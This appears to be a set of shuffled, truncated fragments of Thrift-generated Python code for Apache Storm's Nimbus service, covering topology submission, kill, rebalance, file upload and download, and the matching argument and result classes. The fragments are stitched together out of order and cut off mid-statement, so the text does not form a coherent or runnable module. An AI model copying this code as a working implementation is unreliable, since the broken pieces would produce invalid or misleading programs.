"NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot)", "self._handler.rebalance(args.name, args.options) except NotAliveException as e: result.e = e except", "fid == 1: if ftype == TType.STRUCT: self.e = NotAliveException()", "is not None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "args = deactivate_args() args.read(iprot) iprot.readMessageEnd() result = deactivate_result() try: self._handler.deactivate(args.name)", "seqid, iprot, oprot): args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result =", "self._seqid = 0 def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\"", "return def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" self.send_beginFileDownload(file)", "iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name,", "unknown result\"); def getTopology(self, id): \"\"\" Parameters: - id \"\"\"", "- location - chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self,", "% (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)'", "Attributes: - id \"\"\" thrift_spec = ( None, # 0", "None, ), # 0 ) def __init__(self, success=None,): self.success =", "self._seqid) args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ):", "if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo", "value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def", "return not (self == other) class getTopology_result: \"\"\" Attributes: -", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location is not", "0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "other): return not (self == other) class getTopologyConf_args: \"\"\" Attributes:", "raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\"); def getTopologyConf(self,", "id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL,", "success def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "def __ne__(self, other): return not (self == other) class getTopology_args:", "as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "= activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ): (fname, mtype, rseqid) =", "self._iprot.readMessageEnd() if result.e is not None: raise result.e return def", "thrift.protocol import TBinaryProtocol, TProtocol try: from thrift.protocol import fastbinary except:", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopology_result()", "TType.STRING, 'name', None, None, ), # 1 (2, TType.STRUCT, 'options',", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success is not", "self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"]", "TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "def __ne__(self, other): return not (self == other) class killTopologyWithOpts_result:", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name is not", "if fid == 1: if ftype == TType.STRUCT: self.e =", "= getUserTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self,", "e: result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "= iprot.readFieldBegin() if ftype == TType.STOP: break if fid ==", "beginFileUpload(self, ): pass def uploadChunk(self, location, chunk): \"\"\" Parameters: -", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id is not None:", "== 1: if ftype == TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot)", "oprot): (name, type, seqid) = iprot.readMessageBegin() if name not in", "not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "): self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid)", "(self == other) class killTopology_result: \"\"\" Attributes: - e \"\"\"", "x result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\"); def getUserTopology(self,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if", "submitTopologyWithOpts_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec =", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result')", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd()", "__ne__(self, other): return not (self == other) class rebalance_result: \"\"\"", "ftype == TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else:", "iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not", "is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = downloadChunk_result() result.read(self._iprot)", "chunk=None,): self.location = location self.chunk = chunk def read(self, iprot):", "Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk", "jsonConf=None, topology=None, options=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf", "== other) class rebalance_args: \"\"\" Attributes: - name - options", "if ftype == TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) else:", "is not None: raise result.e return def rebalance(self, name, options):", "== 2: if ftype == TType.STRUCT: self.options = KillOptions() self.options.read(iprot)", "iprot if oprot is not None: self._oprot = oprot self._seqid", "other) class finishFileUpload_args: \"\"\" Attributes: - location \"\"\" thrift_spec =", "is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "'options', (KillOptions, KillOptions.thrift_spec), None, ), # 2 ) def __init__(self,", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args')", "from ttypes import * from thrift.Thrift import TProcessor from thrift.transport", "as e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING,", "def beginFileUpload(self, ): pass def uploadChunk(self, location, chunk): \"\"\" Parameters:", "name - options \"\"\" thrift_spec = ( None, # 0", "self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "return def __repr__(self): L = ['%s=%r' % (key, value) for", "__ne__(self, other): return not (self == other) class killTopologyWithOpts_result: \"\"\"", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e is", "not None: raise result.ite return def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf,", "not (self == other) class killTopology_args: \"\"\" Attributes: - name", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id is", "id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL,", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot, oprot): args =", "AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2: if ftype", "self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"]", "TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None, ), # 2 ) def", "recv_submitTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "= getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "= killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success is", "if ftype == TType.STOP: break if fid == 1: if", "self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args = finishFileUpload_args() args.location = location args.write(self._oprot)", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success is not None: oprot.writeFieldBegin('success',", "= iprot.readString(); else: iprot.skip(ftype) elif fid == 1: if ftype", "seqid, iprot, oprot): args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result =", "= file def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "def __ne__(self, other): return not (self == other) class getTopologyInfo_result:", "self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args = downloadChunk_args() args.id = id args.write(self._oprot)", "class getClusterInfo_result: \"\"\" Attributes: - success \"\"\" thrift_spec = (", "not None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "iprot, oprot): args = deactivate_args() args.read(iprot) iprot.readMessageEnd() result = deactivate_result()", "other) class rebalance_result: \"\"\" Attributes: - e - ite \"\"\"", "\"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation,", "x result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self, file):", "e: result.e = e except InvalidTopologyException as ite: result.ite =", "if result.e is not None: raise result.e return def deactivate(self,", "None, None, ), # 1 (2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec),", "(NotAliveException, NotAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException,", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "ftype == TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", "\"\"\" Attributes: - id \"\"\" thrift_spec = ( None, #", "iprot.readMessageEnd() result = submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except", "TType.STRING, 'location', None, None, ), # 1 ) def __init__(self,", "getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id) except NotAliveException as e: result.e", "TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid, iprot, oprot): args = rebalance_args()", "- e \"\"\" thrift_spec = ( (0, TType.STRING, 'success', None,", "ftype == TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success is", "self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args = getTopologyInfo_args()", "TMessageType.CALL, self._seqid) args = rebalance_args() args.name = name args.options =", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def", "= ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e',", "finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self, file): \"\"\" Parameters: -", "else: self._processMap[name](self, seqid, iprot, oprot) return True def process_submitTopology(self, seqid,", "4 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name =", "# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU", "self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "== 0: if ftype == TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot)", "break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__", "self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING,", "class uploadChunk_result: thrift_spec = ( ) def read(self, iprot): if", "args = getTopologyInfo_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "TMessageType.CALL, self._seqid) args = downloadChunk_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd()", "iprot, oprot): args = rebalance_args() args.read(iprot) iprot.readMessageEnd() result = rebalance_result()", "# 2 ) def __init__(self, location=None, chunk=None,): self.location = location", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopologyWithOpts_result()", "oprot): args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result() try:", "self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other):", "args.options) except AlreadyAliveException as e: result.e = e except InvalidTopologyException", "self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args = submitTopology_args() args.name = name args.uploadedJarLocation", "= getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result() result.success = self._handler.getNimbusConf()", "getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo()", "oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is not None:", "options \"\"\" pass def killTopology(self, name): \"\"\" Parameters: - name", "other) class getTopologyInfo_result: \"\"\" Attributes: - success - e \"\"\"", "options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args = rebalance_args() args.name = name", "finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" pass def beginFileDownload(self,", "return not (self == other) class submitTopology_result: \"\"\" Attributes: -", "oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None:", "(5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ), # 5 )", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid, iprot, oprot): args", "oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot,", "= 0 def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters:", "= self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self,", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot, oprot):", "failed: unknown result\"); class Processor(Iface, TProcessor): def __init__(self, handler): self._handler", "= activate_result() try: self._handler.activate(args.name) except NotAliveException as e: result.e =", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if", "return not (self == other) class getTopologyInfo_result: \"\"\" Attributes: -", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid, iprot, oprot):", "other): return not (self == other) class rebalance_args: \"\"\" Attributes:", "): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e", "downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\",", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if", "== other) class getTopologyConf_result: \"\"\" Attributes: - success - e", "killTopology(self, name): \"\"\" Parameters: - name \"\"\" self.send_killTopology(name) self.recv_killTopology() def", "send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args = getTopologyConf_args() args.id =", "self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self,", "== other) class deactivate_args: \"\"\" Attributes: - name \"\"\" thrift_spec", "Parameters: - location - chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def", "= finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY,", "options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts',", "Parameters: - id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self, id):", "not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\");", "class getTopologyInfo_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec", "self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "(4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 )", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite", "uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: - name - uploadedJarLocation -", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid, iprot, oprot):", "self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args", "other): return not (self == other) class getTopologyInfo_args: \"\"\" Attributes:", "rebalance_result() try: self._handler.rebalance(args.name, args.options) except NotAliveException as e: result.e =", "ftype == TType.STRUCT: self.success = StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif", "= id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname, mtype,", "return True def process_submitTopology(self, seqid, iprot, oprot): args = submitTopology_args()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success is not None:", "self._iprot.readMessageEnd() raise x result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "= rebalance_args() args.read(iprot) iprot.readMessageEnd() result = rebalance_result() try: self._handler.rebalance(args.name, args.options)", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if", "__ne__(self, other): return not (self == other) class activate_args: \"\"\"", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e", "1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING,", "return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if", "options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args", "return oprot.writeStructBegin('submitTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "== other) class beginFileDownload_result: \"\"\" Attributes: - success \"\"\" thrift_spec", "return oprot.writeStructBegin('finishFileUpload_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1)", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success is not", "= getTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self,", "= success self.e = e def read(self, iprot): if iprot.__class__", "== other) class activate_args: \"\"\" Attributes: - name \"\"\" thrift_spec", "e: result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "args.read(iprot) iprot.readMessageEnd() result = downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY,", "result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed:", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result')", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name is not None: oprot.writeFieldBegin('name',", "if ftype == TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype)", "if ftype == TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype)", "other) class uploadChunk_args: \"\"\" Attributes: - location - chunk \"\"\"", "(TopologyInfo, TopologyInfo.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException,", "<reponame>krux/python-storm<filename>storm/Nimbus.py<gh_stars>0 # # Autogenerated by Thrift Compiler (0.9.0) # #", "self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args =", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid, iprot, oprot): args", "return oprot.writeStructBegin('getNimbusConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0)", "not (self == other) class getTopologyConf_args: \"\"\" Attributes: - id", "options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ): (fname, mtype, rseqid)", "'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ), # 0 ) def __init__(self,", "2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is not None: oprot.writeFieldBegin('jsonConf', TType.STRING,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "= TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if", "oprot): args = submitTopology_args() args.read(iprot) iprot.readMessageEnd() result = submitTopology_result() try:", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif fid ==", "__ne__(self, other): return not (self == other) class getUserTopology_args: \"\"\"", "getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf()", "self._seqid) args = deactivate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "return else: self._processMap[name](self, seqid, iprot, oprot) return True def process_submitTopology(self,", "def recv_getTopologyInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "except NotAliveException as e: result.e = e except InvalidTopologyException as", "ftype == TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else:", "e self.ite = ite def read(self, iprot): if iprot.__class__ ==", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is", "oprot): args = getTopology_args() args.read(iprot) iprot.readMessageEnd() result = getTopology_result() try:", "\"\"\" Parameters: - name \"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name):", "TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "self._iprot = self._oprot = iprot if oprot is not None:", "self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args = getTopologyConf_args()", "oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot, oprot): args = getNimbusConf_args()", "not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "return not (self == other) class uploadChunk_args: \"\"\" Attributes: -", "if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf", "if ftype == TType.STRING: self.file = iprot.readString(); else: iprot.skip(ftype) else:", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id is not None: oprot.writeFieldBegin('id',", "fid == 2: if ftype == TType.STRING: self.uploadedJarLocation = iprot.readString();", "TType.STRING: self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype) elif fid == 3:", "* from thrift.Thrift import TProcessor from thrift.transport import TTransport from", "self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "None, None, ), # 3 (4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec),", "args = submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf", "location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL, self._seqid) args = finishFileUpload_args() args.location = location", "class beginFileUpload_args: thrift_spec = ( ) def read(self, iprot): if", "oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot, oprot): args = killTopologyWithOpts_args()", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id is not", "= KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "TType.STRING: self.file = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "topology \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as e:", "class uploadChunk_args: \"\"\" Attributes: - location - 